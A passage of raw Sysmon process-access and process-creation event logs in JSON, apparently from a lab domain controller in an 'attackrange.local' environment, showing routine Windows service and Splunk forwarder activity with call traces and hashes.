C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00109A010300}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6042,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FFC-5F2D-0000-0010B6D20300}\r\nTargetProcessId: 3596\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FFC-5F2D-0000-0010B6D20300}","TargetProcessId":"3596","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6043,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010424F0400}\r\nTargetProcessId: 4472\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010424F0400}","TargetProcessId":"4472","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6044,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:41.902\r\nProcessGuid: {90617006-41B5-5F2D-0000-0010A0F20800}\r\nProcessId: 5048\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Windows Print Monitor \r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winprintmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:57:41.902","ProcessGuid":"{90617006-41B5-5F2D-0000-0010A0F20800}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","FileVersion":"8.0.2","Description":"Windows Print Monitor ","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winprintmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:57:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6045,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:41.901\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-41B5-5F2D-0000-0010A0F20800}\r\nTargetProcessId: 5048\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:41.901","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-41B5-5F2D-0000-0010A0F20800}","TargetProcessId":"5048","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6046,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:41.901\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-41B5-5F2D-0000-0010A0F20800}\r\nTargetProcessId: 5048\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:41.901","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-41B5-5F2D-0000-0010A0F20800}","TargetProcessId":"5048","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:57:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6047,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6048,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6049,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6050,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 